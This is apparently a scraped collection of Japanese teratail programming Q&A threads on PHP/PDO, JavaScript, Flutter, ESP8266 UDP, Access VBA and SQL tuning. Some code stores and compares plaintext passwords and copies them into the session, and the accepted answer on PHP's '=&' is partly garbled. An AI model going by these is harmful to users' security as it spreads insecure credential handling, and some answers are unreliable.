[ { "text": "入力値が期待通りかチェックしてみてください。\n \n\n \ndecide.phpを\n \n\n```\n<?php\n$userid = $_POST['userid'];\n$userid = htmlspecialchars($userid);\nvar_dump($userid);\n/*\nif($userid == 'a'){\n  header(\"Location: success.php\");\n}\nelse{\n  header(\"Location: error.php\");\n}\n*/\n```\nのように、\n \n・リダイレクトさせない\n \n・判定する変数をvar\\_dumpで出力する\n \n\n \n恐らく、以下のような期待値では出てないんじゃないかと思います。\n \n\n```\nstring(1) \"a\"\n```\n\n \nちなみに、私の環境では期待通りの動きしました。\n \nブラウザは、クロームで、文字コードはUTF-8に統一で試しました。 \n", "name": "", "is_accepted": true } ]
3e10d4247e367f34411871530d25aea8
fetchで表現したいです。 fetchAll()をこのコードだとfetchでもいいみたいです。 このコードをfetchで表現したいです。 ご教示ください。 ``` foreach ( $stmt->fetchAll () as $row ) { $\_SESSION ['customer'] = array ( // idというキーで$row['id']を入れる 'id' => $row ['id'], 'name' => $row ['name'], 'address' => $row ['address'], 'login' => $row ['login'], 'password' => $row ['password'] ); } ``` [コード](http://qiita.com/icelandnono/items/b24a805e3bfdf89f0941) ``` <?php require 'menu.php'; ?> <?php session_start (); // unset→指定した変数を破棄する unset ( $\_SESSION ['customer'] ); $pdo = new PDO ( 'mysql:host=localhost;dbname=takahashi1;charset=utf8', 'takahashi', 'takahashi' ); $stmt = $pdo->prepare ( 'select * from customer where login=? and password=?' ); // var\_dump($stmt); $stmt->execute ( array ( $\_POST ['login'], $\_POST ['password'] ) ); // foreachは配列とオブジェクトをループして使うための構文 // 配列ではないが使いやすくするために特別にforeachの反復処理で使えるように作られている // $rowという変数に入れる // $rows = $stmt->fetchAll (); // var\_dump($rows) foreach ( $stmt->fetchAll () as $row ) { // foreach ( $rows as $row ) { // 連想配列$\_SESSION['customer']にキーを指定して追加し、値として連想配列を代入 $\_SESSION ['customer'] = array ( // idというキーで$row['id']を入れる 'id' => $row ['id'], 'name' => $row ['name'], 'address' => $row ['address'], 'login' => $row ['login'], 'password' => $row ['password'] ); } if (isset ( $\_SESSION ['customer'] )) { echo 'いらっしゃいませ、', $\_SESSION ['customer'] ['name'], 'さん。'; } else { echo 'ログイン名またはパスワードが違います。'; } ?> ``` fetch→一行づつ取得 fetchAll→全データを配列に変換。全ての結果行を含む配列を返す
PHP fetchAllの文をfetchにしたいです ==========================
teratail.com
2021.17
[ { "text": "なんか、ループの中がツッコミどころがありすぎますが、 \n\n表題の回答だけだとすると、 \n\n\n\n```\nforeach ( $stmt->fetchAll () as $row ) {\n↓↓↓\nwhile ( $row = $stmt->fetch(PDO::FETCH_ASSOC) ) {\n```\n\nこんな感じ? \n\n\nコメントに答えます\n---------\n\n\nマニュアルの[代入演算子](http://php.net/manual/ja/language.operators.assignment.php)のところにはこんな例題が載ってます。 \n\n\n\n```\n<?php\n$a = ($b = 4) + 5; // $a は 9 に等しくなり、$b には 4 が代入されます\n?>\n```\n\nつまり、`($b = 4)`と書くとその部分は`4`だとみなされる訳です。 \n\n\nよって、`($row = $stmt->fetch(PDO::FETCH_ASSOC))`と書くと、`$stmt->fetch(PDO::FETCH_ASSOC)`の結果がwhileの評価式となります。そして$rowにも`$stmt->fetch(PDO::FETCH_ASSOC)`の結果が入るということになります。 \n\n\nそして、`fetch`が失敗すると、`false`を返しますので、ループが終了する訳です。 \n\n\n追記\n--\n\n\nよくよく読んでみると、ループである必要はないですね。 \n\n\n\n```\n$row = $stmt->fetch(PDO::FETCH_ASSOC);\nif ($row) {\n $\\_SESSION ['customer'] = [\n 'id' => $row ['id'],\n 'name' => $row ['name'],\n 'address' => $row ['address'],\n 'login' => $row ['login'],\n 'password' => $row ['password']\n ];\n}\n```\n\n \n\nとこんな感じですね。まあ、同じ`login`と`password`の人が複数いる場合、最初に`fetch`した人になりますが。\n\n", "name": "", "is_accepted": false }, { "text": "assocを最初から指定しておけば普通にステートメントをforeachで \n\nまわせばよいです \n\n\n\n```\n$pdo = new PDO($dsn, $user,$password);\n$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);\n$stmt = $pdo->query('SELECT * FROM テーブル');\nforeach ($stmt as $row) {\n print_r($row);\n}\n```\n", "name": "", "is_accepted": false } ]
fd438fb9ecbec697aeffa9d422865587
Node.jsでプログラムしてみたいです。 いろいろな実行環境があるみたいですが、 どれかお勧めはありますか? GUIでデバッグ出来る物がいいです。
Node.jsのプログラム環境構築 =================
teratail.com
2021.10
[ { "text": "nodeclipseがお勧めです。\n \nデバッグも出来ます。\n \n\n \nNode.jsをインストール\n \n<http://nodejs.org/download/>\n \nした後、nodeclipseをEclipseのアップデートサイト\n \n<http://www.nodeclipse.org/updates/>からインストール\n \nするのが簡単です。\n \n\n \n初心者に推奨するモジュールは、\n \n<http://www.nodeclipse.org/updates/>サイトの\n \nb) update site (Recommended way: bigger choice )\n \nに載っています。 \n", "name": "", "is_accepted": true } ]
0fecd081577199e6ffa82d52d2a7193b
<a>タグで囲われた範囲をクリックすると <form action>がおこなわれるという処理をしているのですが、 何度やってもうまくいきません。 まず、該当するコードはこちらです。 ```  <form action="YourSelectEngineer?switch=MatchingDetailEngineer" method="POST" name="blueForm">       <input type="hidden" name="engineerid" value="${ engineerlist.engineerid }"/>       </form>       <div class="row p-profile_box_blue">           <div class="col-md-12 c-matching_box">               <a href="" onClick="document.blueForm.submit(); return false;">             <div class="c-matching-leftbox c-center">                 <div class="c-photobox ">                     <img src="${ engineerlist.photo }?width=120&height=120" class="img-circle c-photo"><br>                 </div>                 <div class="c-name">                     <p>${ engineerlist.name }(${ engineerlist.age })</p>                 </div>              </div>               </a> ``` Facebookアプリとして、Oauthから情報を取得しています。 おこる現象としては以下の通りです。 ・HTTPステータス 500 - Server returned HTTP response code: 400 for URL:  というエラーがおこる この現状はfacebookへログイン直後にこのページで上記のコードにPOSTすると起こります。 (エラー該当のページには一切飛ばしてないのですが) ・リンクをクリックしても何も反応がない この現象は、どこかのページからこのページに飛んできて、 リンクをクリックした時に起こります。 ``` <a href="javascript:void(0);" onclick="document.blueForm.submit(); return false;"></a> ``` など、色々な記載の仕方をしてみましたが、うまくいきませんでした。 ```  <form action="YourSelectEngineer?switch=MatchingDetailEngineer" method="POST" name="blueForm">       <input type="hidden" name="engineerid" value="${ engineerlist.engineerid }"/>       <input type="submit" value="送信">       </form> ``` のように、<input type="submit">をクリックすると何の問題も無くリンク先へ飛ぶので、 javascriptの問題なのではないかと思っております。 原因が全く掴めません。 色々なアドバイスをいただけるとありがたいです。 よろしくお願い致します。
<a>タグで<form>のPOSTデータを送信したいが、うまくいきません。【HTML】 ===========================================
teratail.com
2021.43
[ { "text": "`<form action=\"YourSelectEngineer?switch=MatchingDetailEngineer\" method=\"POST\" name=\"blueForm\">`\n \nの部分ですが,actionの中身に引数を指定しても送信されなかったように記憶しております.\n \n\n \n`<form action=\"YourSelectEngineer\" method=\"POST\" name=\"blueForm\">`\n \n`<inpu type=\"hidden\" name=\"switch\" value=\"MatchingDetailEngineer\">`\n \nのように,分けてみてはいかがでしょう? \n", "name": "", "is_accepted": false } ]
81954bd407eb935465f0bef271c02827
PHPからMYSQLを操作したいと考えております。 しかし、データベースを扱うのは初めてなので、とりあえず以下のコードで接続できるか試したところ接続失敗となってしまいます。 環境はXAMPPです。 MDB2をインストールしなければいけないのか、pathを設定しなければいけないのか、色々サイトで調べてみたのですが現在自分が何が問題なのかがわかっておりません。 XAMPPはインストールしてからPHPしか扱っていないため、ほぼデフォルトのままだと思います。 申し訳ありませんが、わかりやすい説明よろしくお願いします。 ``` <meta charset="UTF-8"><?php require 'MDB2.php'; $testuser ="testuser"; $testpass ="testpass"; $host ="localhost"; $datebase ="spot_data"; // データベースに接続する //''を使うと接続できない $db = MDB2::connect("mysql://{$testuser}:{$testpass}@{$host}/{$datebase}"); if(PEAR::isError($db)){     die("接続失敗:" . $db->getMessage()); } else{     echo "接続できました。"; } ```
初めてのMYSQLの接続 ============
teratail.com
2020.40
[ { "text": "どのようなサイトを参考に試行錯誤されていますか?\n \nこちらのサイトを確認すると、「MDB2」モジュールをまずインストールする必要があるようですね。\n \nサイト記事の手順とサンプルソースを参考にするとうまく動作しそうです。\n \n* http://codezine.jp/article/detail/2480\n\n\n \n上記ページで分からない部分があれば、分からない点を具体的に質問すると更に詳しく回答が得られるかもしれません。\n \n利用しているphp, xammp, mysqlのバージョンに依存する問題もある可能性があるので、そういった情報も記載すると更に的確な回答が得られる可能性が高くなります。 \n", "name": "", "is_accepted": true } ]
a3ffb9aac86cea6cfb2ce0718f0758bc
只今、規定のフォルダに入っているEXCELファイルを 全て自動で取り込むマクロを作成したいと考えています。 ファイルの項目は全て同じですが、複数のシートがあるため、 シートを指定してひとつのテーブルにまとめたいです。 以下のように組み立てましたが、 シートの指定が正しく反映出来ない状況です。 ``` Private Sub コマンド0_Click() Dim strPathName As String Dim strFileName As String strPathName = "C:\" strFileName = Dir(strPathName & "*.xlsx") Do Until Len(strFileName) = 0 DoCmd.TransferSpreadsheet _ TransferType:=acImport _ , SpreadSheetType:=acSpreadsheetTypeExcel97 _ , TableName:="インポート用テーブル", FileName:=strPathName & strFileName, HasFieldNames:=True strFileName = Dir() Loop End Sub ``` ネットで検索し試行錯誤したのですが、 初心者レベルのために理解できずにおります。 ご教授いただけると助かります。
ACCESS 2019で複数のファイルをインポート =========================
teratail.com
2021.31
[ { "text": "`TransferSpreadsheet` の第6引数(Range引数)でセル範囲を指定できます。シート名を指定するときは、`\"シート名!\"` というように!を付けます。 \n\n\n\n```\nDoCmd.TransferSpreadsheet _\n TransferType:=acImport, _\n SpreadSheetType:=acSpreadsheetTypeExcel97, _\n TableName:=\"インポート用テーブル\", _\n FileName:=strPathName & strFileName, _\n HasFieldNames:=True,\n Range:=\"シート名!\"\n```\n\n[DoCmd.TransferSpreadsheet でインポートする Excel のシート名を指定したい [Access]](http://pasofaq.jp/office/access/transferspreadsheet.htm)\n\n", "name": "", "is_accepted": true } ]
748b4ade55cb25478c3289c9abcfb6f8
### 前提・実現したいこと next jsでtypescriptを使って、startAtとendAtを 現在が1~7月の場合 -> starAtを前年8月、endAtを今年の7月 現在が8~12月の場合 ->starAtを今年の8月、endAtを来年の7月 にしたいです。 ### エラーメッセージ Error: Too many re-renders. React limits the number of renders to prevent an infinite loop. と無限ループになりエラーになっています。 ### 試したこと ネットで調べたら関数にしたらいいと書いてあってやってみたのですが、ダメでした ``` function axx() { setStartAt( DateTime.local() .set({ month: 8 }) .minus({ year: 1 }) .toJSDate(), ); setEndAt( DateTime.local() .set({ month: 7 }) .toJSDate(), ); } if (1 <= nowMonth && nowMonth <= 7) { axx(); } ``` ### 該当のソースコード ``` import React, { useState, useEffect } from 'react'; import { DateTime } from 'luxon'; export default function Index() { const [startAt, setStartAt] = useState( startOfMonth( DateTime.local() .set({ month: 8 }) .toJSDate(), ), ); const [endAt, setEndAt] = useState( endOfMonth( DateTime.local() .set({ month: 7 }) .plus({ year: 1 }) .toJSDate(), ), ); const nowMonth = DateTime.local() .toJSDate() .getMonth() + 1; if (1 <= nowMonth && nowMonth <= 7) { setStartAt( DateTime.local() .set({ month: 8 }) .minus({ year: 1 }) .toJSDate(), ); setEndAt( DateTime.local() .set({ month: 7 }) .toJSDate(), ); } return( <input type='month value={strtAt}/> <input type='month value={endAt}/> ) } ```
next jsでuseStateを使うと無限ループになってしまいます ==================================
teratail.com
2020.45
[ { "text": "\n```\nuseEffect(() => {\n if (1 <= nowMonth && nowMonth <= 7) {\n setStartAt(\n DateTime.local()\n .set({ month: 8 })\n .minus({ year: 1 })\n .toJSDate(),\n );\n setEndAt(\n DateTime.local()\n .set({ month: 7 })\n .toJSDate(),\n );\n }\n }, []);\n```\n\n \n\nこの様にuseeffectを使うとうまくいきました\n\n", "name": "", "is_accepted": true } ]
8727b1e9e7c9777ae608da3891e5af2e
簡単な質問なのですが、 下にあるPHPステートメントの機能はどちらも同じでしょうか? ``` $hoge =& $thing; $hoge = &$thing;  ```
PHPの =& 演算子について ===============
teratail.com
2020.05
[ { "text": "はい!\n \n\n \n**どちらも同じもので、PHPステートメントの機能も同一です。**\n \nこれは、オブジェクトのを取るもので、この場合、変数 $hoge 中から参照しています。 \n", "name": "", "is_accepted": true } ]
0b51f61720a0fd1680cf9f6bd6080de0
D3.jsで、棒グラフを作っています。 与えるdomainが中途半端な数字なのでjavascriptのmathオブジェクトを使って 切り捨てようと思っているのですが、もっといい方法はありませんか?
D3.jsで中途半端な値のドメインの切り捨て方法 ========================
teratail.com
2021.21
[ { "text": "**nice関数がいいと思います。**\n \n\n \n\n```\nvar scale = d3.scale.linear().domain([0.123,100.567]).nice().range([0,200]);\n```\n\n \nとすっきり書けます。 \n", "name": "", "is_accepted": true } ]
67b2caf4521f545a1a18b2a8b49a3d03
Flutterの勉強で、人物一覧みたいなのを、それぞれカードで横スライドで表示させたいです。 ListViewで、scrollDirection: Axis.horizontal を使って、カード達を横にスクロールさせるイメージです。 しかし、Cardウィジェットが表示されず、原因がわからず困っています。 参考は以下の記事です。 https://www.flutter-study.dev/widgets/list-view-widget これを応用して、Cardと組み合わせて、横スクロールを実験してみました。 ▼main.dart ``` import 'package:flutter/material.dart'; import './src/foot_mark_icons.dart'; import './common/widgets/select_cast_widget.dart'; import './common/widgets/listview_ horizon_cast.dart'; void main() => runApp(MyApp()); class MyApp extends StatelessWidget { // bool dark = false; @override Widget build(BuildContext context) { return MaterialApp( title: 'Test Project', theme: ThemeData( accentColor: Color(0x673AB7), scaffoldBackgroundColor: Color(0xffEAE8EB), ), // theme: ThemeData.light(), // darkTheme: ThemeData.dark(), home: Home(), // initialRoute: '/', routes: <String, WidgetBuilder>{ '/main': (BuildContext context) => Home(), '/footmark': (BuildContext context) => PageFootMark() }, ); } } class Home extends StatelessWidget { @override Widget build(BuildContext context) { return Container( child: Scaffold( //アプリバー appBar: AppBar( title: Text("呼ぶ"), backgroundColor: Color(0xFF42A5F5), leading: IconButton( icon: Icon(FootMark.icon_footmark), onPressed: () => Navigator.of(context).pushNamed("/footmark"), ), ), //コンテンツ body: Column(children: <Widget>[ Container( child: Image.asset('../images/Home-bunner-media.jpg'), ), Column(children: <Widget>[ Container( child: SelectCast(), ), Container( child: ListViewHorizonCast(), ), ]) ]), )); } } ``` ▼ 今回作ってみたListViewHorizonCastのウィジェット この中のカードが表示されない ``` import 'package:flutter/material.dart'; class ListViewHorizonCast extends StatelessWidget { final List<Map<String, dynamic>> listItems = [ { 'text': 'Item 1', 'color': Colors.blue[600], }, { 'text': 'Item 2', 'color': Colors.blue[300], }, { 'text': 'Item 3', 'color': Colors.blue[100], }, ]; @override Widget build(BuildContext context) { return Column( children: <Widget>[      //▼このContainerのプロパティは効いている Container( color: Colors.white, height: 125, margin: EdgeInsets.only(top: 10.0),       //▼ここから表示されてないっぽい child: ListView.builder( scrollDirection: Axis.horizontal, itemCount: listItems.length, itemBuilder: (context, index) { return Card( child: Column( children: [ ListTile( leading: Image.asset('../images/sample.jpg'), title: Text(listItems[index]['text']), subtitle: Text('subtitle'), trailing: Icon(Icons.more_vert), ), ], ), color: listItems[index]['color'], ); }, ), ), ], ); } } ``` コメントアウトに書いた通りで、Cardの中身の写真やテキストが表示されません。 コンソールのエラーは無しです。 原因の特定のやり方も分からずで、どのように対処したら良いでしょうか? 情報不足でしたら、言ってください。 よろしくお願いします。
FlutterのListViewでCardウィジェットが表示されない ==================================
teratail.com
2020.45
[ { "text": "おそらく、横スクロールなのに`ListView`内の要素に幅が指定されていないのが原因ではないでしょうか? \n\n以下のように、要素に適当な幅を指定して試してみてください。 \n\n\n\n```\nclass ListViewHorizonCast extends StatelessWidget {\n final List<Map<String, dynamic>> listItems = [\n {\n 'text': 'Item 1',\n 'color': Colors.blue[600],\n },\n {\n 'text': 'Item 2',\n 'color': Colors.blue[300],\n },\n {\n 'text': 'Item 3',\n 'color': Colors.blue[100],\n },\n ];\n\n @override\n Widget build(BuildContext context) {\n return Column(\n children: <Widget>[\n Container(\n color: Colors.white,\n height: 125,\n margin: EdgeInsets.only(top: 10.0),\n child: ListView.builder(\n scrollDirection: Axis.horizontal,\n itemCount: listItems.length,\n itemBuilder: (context, index) {\n return Card(\n //▼ここで要素の幅を指定する\n child: SizedBox(\n width: 300,\n child: Column(\n children: [\n ListTile\n leading: Image.asset('../images/sample.jpg'),\n title: Text(listItems[index]['text']),\n subtitle: Text('subtitle'),\n trailing: Icon(Icons.more_vert),\n ),\n ],\n ),\n ),\n color: listItems[index]['color'],\n );\n },\n ),\n ),\n ],\n );\n }\n}\n```\n", "name": "", "is_accepted": true } ]
3e5f88164676599f105ab2b202bf8efd
ESP-wroom-02(ESP8266)2台を使ってルーター経由でWiFiUDP通信をしようとしています。   (将来的にやりたいこととしては、無線でPCから数メートル先にあるセンサからセンサ値を取得し、その値に応じてPCで処理を行った後、また他の無線で接続されたオブジェクトのモーターを動かそうと思っています。)   こちらの[リンク](http://tc96.hatenablog.com/entry/2016/09/14/130932)をコピペ(下のコード)で動かした所、ボタン入力からclient側でUDP.writeが正しく行われていることは確認できました。しかし、Server側で適宜printしてデバッグしたところ、UD.ParsePacket()=0になっており、rcvWiFiのループに入れていませんでした。   受信に失敗しているようですが、原因が思い当たりません。どなたか原因のわかる方がいらっしゃいましたらご教授いただけますと幸いです。   Client側コード ``` #include <ESP8266WiFi.h> #include <WiFiClient.h> #include <WiFiUDP.h> // UDP settings WiFiUDP UDP; // WiFi settings IPAddress HOSTIP (192, 168, 4, 1); IPAddress myIP(192, 168, 4, 2); const char *ssid = "*"; const char *password = "*"; const int btn1 = 4; const int btn2 = 5; const int btn3 = 12; const int btn4 = 2; const int ledPin = 16; const int wifiStatusPin = 13; void connectWiFi() { WiFi.begin(ssid, password); WiFi.config(myIP, WiFi.gatewayIP(), WiFi.subnetMask()); Serial.println("start\_connect"); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println("CONNECTED!"); digitalWrite(wifiStatusPin, HIGH); } void setup() { Serial.begin(115200); pinMode(ledPin, OUTPUT); pinMode(wifiStatusPin, OUTPUT); pinMode(btn1, INPUT\_PULLUP); pinMode(btn2, INPUT\_PULLUP); pinMode(btn3, INPUT\_PULLUP); pinMode(btn4, INPUT\_PULLUP); delay(500); digitalWrite(ledPin, HIGH); Serial.println("-"); Serial.println("start"); WiFi.mode(WIFI_STA);//重要! UDP.begin(893); connectWiFi(); } void sendWiFi(char byteData[]) { if (UDP.beginPacket(HOSTIP, 893)) { UDP.write(byteData); UDP.endPacket(); Serial.println(byteData); } } void loop() { char b[4]; b[0] = (digitalRead(btn1)) ? '1' : '0'; b[1] = (digitalRead(btn2)) ? '1' : '0'; b[2] = (digitalRead(btn3)) ? '1' : '0'; b[3] = (digitalRead(btn4)) ? '1' : '0'; Serial.println(b); sendWiFi(b); delay(17); end_loop(); } void end_loop(){ if (WiFi.status() != WL_CONNECTED) { WiFi.disconnect(); digitalWrite(wifiStatusPin, LOW); Serial.println("disconnect!"); connectWiFi(); } } ``` Server側コード ``` #include <ESP8266WiFi.h> #include <WiFiClient.h> #include <WiFiUDP.h> // Variable setting char WiFibuff[4]; // UDP setting WiFiUDP UDP; // WiFi setting IPAddress myIP(192, 168, 4, 1); const char *ssid = "*"; const char *password = "*"; //led const int ledPin = 16; const int led1 = 4; const int led2 = 5; const int led3 = 12; const int led4 = 2; void setup() { Serial.begin(115200); pinMode(ledPin, OUTPUT); pinMode(led1, OUTPUT); pinMode(led2, OUTPUT); pinMode(led3, OUTPUT); pinMode(led4, OUTPUT); WiFi.mode(WIFI_AP); WiFi.softAP(ssid, password); WiFi.config(myIP, WiFi.gatewayIP(), WiFi.subnetMask()); UDP.begin(893); digitalWrite(ledPin, HIGH); Serial.println("UDP.begin!"); } void rcvWiFi() { UDP.read(WiFibuff, 4); Serial.print(WiFibuff); UDP.flush(); } void loop() { if (UDP.parsePacket() > 0) { rcvWiFi(); if(WiFibuff[0] == '0') { digitalWrite(led1, HIGH); } else { digitalWrite(led1, LOW); } if(WiFibuff[1] == '0') { digitalWrite(led2, HIGH); } else { digitalWrite(led2, LOW); } if(WiFibuff[2] == '0') { digitalWrite(led3, HIGH); } else { digitalWrite(led3, LOW); } if(WiFibuff[3] == '0') { digitalWrite(led4, HIGH); } else { digitalWrite(led4, LOW); } } } ```
ESP-wroom-02間でルーターを介したUDP通信に失敗する ================================
teratail.com
2021.25
[ { "text": "サーバー側コードがAPモードになってますが、 \n\nサーバーがアクセスポイントとして動いているならルーターいらなくないですか? \n\n\nコピペ元のネットワーク構成は、アクセスポイントであるサーバーにクライアントが直接接続する形です。 \n\n\nそのあたり勘違いしてルーターのssidとパスをコードに書いてたりしませんか? \n\n\nルーター介したいならどちらもSTAモードです。\n\n", "name": "", "is_accepted": false }, { "text": "なんか問題の多そうなコードですが、、 \n\n\nIPアドレスなんか、リンク先のをそのまま持ってきてますが、Wifiルータのネットワーク設定周りで、ブッキングしてるとかはないでしょうか。 \n\nまずはその2つのデバイスだけでWifiルータを動かしてみては。\n\n", "name": "", "is_accepted": false }, { "text": "ルーターでは、WiFi接続した機器間で通信を制限する設定がある場合がありますので、確認が必要です。\n\n", "name": "", "is_accepted": false }, { "text": "こんにちは、私も似たような構成でUDP通信をしているのですが、結果はどうなったのでしょうか。 \n\n気になります。よろしくお願い申し上げます。\n\n", "name": "", "is_accepted": false } ]
f79cdb1f683539516f47d8f3099621d5
やりたいこと ------ 下記テーブルから商品の `sum(sales_products.quantity)(注文数合計)`、 `categories.taxonomy_id(カテゴリー分類ID)`、 `sales.office_id AS office_id(販売事業所ID)` を `categories.taxonomy_id(カテゴリー分類)`、 `sales.office_id AS office_id(販売事業所ID)` でグループ化して取得したい。 困っていること ------- salesテーブル => `orderテーブル`, `event_salesテーブル`, `event_orderテーブル` sales\_productsテーブル => `order_productsテーブル`、 `event_sales_productsテーブル`, `event_order_productsテーブル` といったように似たテーブルが他に3種類あり、 下記コードのように合計で3回データベースから取得するのでかなりの時間がかかってしまいます。 少しでもパフォーマンスをよくしたいのですが、どのようにしたらよいでしょうか? アドバイスお願いします。 テーブル ---- **sales(注文)テーブル** (5万くらい) | id | shop\_id | office\_id | date | | --- | --- | --- | --- | | 1 | 1 | 1 | 0000-00-00 | | 2 | 1 | 2 | 0000-00-00 | | 3 | 1 | 2 | 0000-00-00 | ``` // CREATE CREATE TABLE `sales` ( `id` int(11) NOT NULL AUTO_INCREMENT, `shop\_id` int(11) NOT NULL, `office\_id` int(11) NOT NULL, `date` date NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=53158 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; ``` **sales\_products(注文商品)テーブル**(300万くらい) | id | sales\_id | product\_id | quantity | | --- | --- | --- | --- | | 1 | 1 | 1 | 5 | | 2 | 1 | 3 | 7 | | 3 | 1 | 2 | 7 | ``` // CREATE CREATE TABLE `sales\_products` ( `id` int(11) NOT NULL AUTO_INCREMENT, `sales\_id` int(11) NOT NULL, `product\_id` int(11) NOT NULL, `quantity` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2504749 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; ``` **products(商品)テーブル**(3万くらい) | id | category\_id | name | | --- | --- | --- | | 1 | 1 | 商品1 | | 2 | 1 | 商品2 | | 3 | 1 | 商品3 | ``` // CREATE CREATE TABLE `products` ( `id` int(11) NOT NULL AUTO_INCREMENT, `category\_id` int(11) NOT NULL, `name` varchar(50) COLLATE utf8_unicode_ci NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=28449 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; // INSERT $sql = "INSERT INTO products (category\_id, name) VALUES (:category\_id, :name)"; ``` **categories(商品カテゴリー)テーブル**(200くらい) | id | taxonomy\_id | name | | --- | --- | --- | | 1 | 1 | カテゴリー1 | | 2 | 1 | カテゴリー2 | | 3 | 1 | カテゴリー3 | ``` // CREATE文 CREATE TABLE `categories` ( `id` int(11) NOT NULL AUTO_INCREMENT, `taxonomy\_id` int(11) NOT NULL, `name` varchar(100) COLLATE utf8_unicode_ci NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=174 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; ``` コード --- ``` $sql = "SELECT sum(sales\_products.quantity) AS sum\_quantity, categories.taxonomy\_id AS taxonomy, sales.office\_id AS office\_id FROM sales, sales\_products, products, categories WHERE sales.id = sales\_product.sales\_id AND sales\_products.product\_id = products.id AND product.category\_id = categories.id AND (sales.date BETWEEN :from AND :to) GROUP BY categories.taxonomy\_id, sales.office\_id"; $stmt = $this->dbh->prepare($sql); $data = array( ':from' => $from, ':to' => $to ); $stmt->execute($data); $rec = $stmt->fetchAll(PDO::FETCH_ASSOC); ``` ``` // 他テーブルも以下のように取得 $sql = "SELECT sum(order\_products.quantity) AS sum\_quantity, categories.taxonomy\_id AS taxonomy, order.office\_id AS office\_id FROM order, order\_products, products, categories WHERE order.id = order\_product.sales\_id AND order\_products.product\_id = products.id AND product.category\_id = categories.id AND (order.date BETWEEN :from AND :to) GROUP BY categories.taxonomy\_id, order.office\_id"; $stmt = $this->dbh->prepare($sql); $data = array( ':from' => $from, ':to' => $to ); $stmt->execute($data); $rec = $stmt->fetchAll(PDO::FETCH_ASSOC); ```
PHPでデータベースからデータを取得する際、とても時間がかかってしまうのを改善したい ==========================================
teratail.com
2021.04
[ { "text": "sales の shop\\_id, office\\_id \n\nsales\\_products の sales\\_id、product\\_id \n\nproducts の category\\_id \n\ncategories の taxonomy\\_id  \n\n\nにそれぞれインデックスを設定する。\n\n", "name": "", "is_accepted": true }, { "text": "JOINしてから注文日で絞り込んでいるので、この時点で組み合わせが膨大になっている気がするので \n\n先に注文日で絞り込んだorderをサブクエリにしたらどうでしょうか?\n\n", "name": "", "is_accepted": false }, { "text": "以下のような検討をされてみてはどうでしょうか。 \n\n\n* SQLを投げる回数を減らしたい場合 \n\nselectする項目が同じならば、UNIONクエリーでまとめれば1回で取得できます。\n* SQLの実行速度を速くしたい場合 \n\n外部キーや抽出条件で使用しているorder.dateなどにインデックスを付けると速くなります。\n", "name": "", "is_accepted": false } ]
ba1bcb48a39aedcbb012c08b0e708ccc
PHPファイルに<p class="text">hello</p>と記述し、これを別PHPで呼び出し、 ``` <head> <link rel="stylesheet" type="text/css" href="header.css" media="all"> </head> <body> <?php echo $sa; ?> //sa = <p class="text">hello</p> </body> ``` として ``` p{ background: rgba(0,0,0,0.75); } ``` を適応させているんですが、うまく適応されません。呼び出したPHPファイルの中にあるタグにはCSSは適応されないのでしょうか?
呼び出したphpファイルのHTMLタグにCSS適応できないの? ===============================
teratail.com
2019.51
[ { "text": "自分の環境でなんですが、divの中にdivを入れ、入れ子になったdivにCSSを適応させれば治りました。\n\n", "name": "", "is_accepted": true } ]
a77cc5de00696bc117be9e0f6897e3bd
JSPに暗号化されて届いたパラメーターを解読し、 こうもくごとに分離させたいのですが、どこかで失敗しているらしく、すべてがnullになります。 ※知人からもらったソースで、知人はうごいているということです。 ★もしかしたら、データのパターンにより、上手くできたりできなかったりするのでは?と考えています。 原因と、対策を教えていただけないでしょうか? 解読後、下記のようになった場合、 「  &customer\_id=1232&customer\_name=山田 太郎&birthday=1990-01-01&memo=ここは、'、&、=、"、\、などが入った文字列です。create\_datetime=2015-10-10 13:09:58 」 ■下記で、分割しているのですが、上手く分割是出来ていないらしく、customer\_id=null、customer\_name=null、など全てnull。     private java.util.Hashtable g\_para = new java.util.Hashtable();     public void go\_decord(byte[] angou\_data)     {         String para = "";         byte output[] = null;         output = Angou.Kaidoku(angou\_data);   // 復号したデータ         para = new String(output, "UNI\_CODE");         if(!para.equals("")){             String[] aaa = para.split("&");             if(aaa != null){                 for(int iII = 0; iII < aaa.length; iII++){                     String[] bbb = aaa[iII].split("=");                     if(bbb != null && bbb.length == 2){                         g\_para.put(bbb[0], bbb[1]);                     }                 }             }         }     } ■上記を取り出すときは、下記を使っています。     public String get\_data(String para)     {         String reStr = null;         if(h\_para.get(para) != null){             reStr = (String)g\_para.get(para);         }         return reStr;     }
JSPのパラメーターを自分で分割する方法は確実で容易なものはどのような方法がありますか? ============================================
teratail.com
2020.10
[ { "text": "解決できなく、時間がたったので、クローズ致します。\n\n", "name": "", "is_accepted": true } ]
d0a791ff98424ef9112ae4b5c0294048
現在、ネット上のRails入門サイトや、 プログラミング言語が記録されたまとめサービス等をみてRailsの学習をしています。 Railsを学習している目的は、Ruby on Railsを使ってスマートフォン上のネイティブアプリケーションからサーバの情報を取得しJSONで吐き出すAPIを作ろうとしています。 現在スマートフォンアプリのAPIをPHP(Fuel)で書いているのですが、 Ruby on Railsで書き換えようとしています。 ※Railsを使う理由は割愛します。 今回の場合、Railsで上記のようなJSONを吐き出すAPIを作るにあたってどのような学習が良いでしょうか? またRails API開発において参考になるようなアドバイスありましたらご教授お願い致します。
Rails初心者がスマートフォン上で使用するJSON APIを作るにあたって ======================================
teratail.com
2021.10
[ { "text": "APIのサーバサイドを作るというだけなのならば、ライブラリ使うと良い気がします。\n \n<https://github.com/intridea/grape>\n \n\n \ngrapeを使わなくてもやる方法は色々ありますが、ドキュメントとしてまとまって居るのはgrape関係かと思います。 \n", "name": "", "is_accepted": false } ]
462f546e6bd7d4ae2d8443568b39089e
